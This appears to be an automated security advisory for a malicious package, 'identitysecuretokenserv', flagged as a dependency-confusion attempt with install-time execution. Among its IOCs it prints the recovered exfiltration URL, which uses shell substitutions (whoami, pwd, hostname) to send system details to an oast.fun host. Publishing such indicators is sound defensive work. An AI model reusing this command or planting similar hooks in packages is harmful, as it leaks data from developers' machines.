VDB
GCVE-110-OSM-2026-4558
GCVE-110-OSM-2026-4558
Advisory PublishedCVSS 5.4/10
[osmalyze-auto] Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, network activity, install-time execution.
[osmalyze-auto] Exfil: http://rkibzmuyuerckpizufqnjpfi3hq58fv7o.oast.fun/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\ (oast, recovery: plaintext in package.json)
Key findings:
- OAST/Interactsh Exfiltration in package.json: ".oast.fun"
- Publisher Has Other Malicious Packages
IOCs:
- domains: rkibzmuyuerckpizufqnjpfi3hq58fv7o.oast.fun
- oastEndpoints: http://rkibzmuyuerckpizufqnjpfi3hq58fv7o.oast.fun/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
5.4/10
Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | identitysecuretokenserv | all (affected) | — |
Aliases
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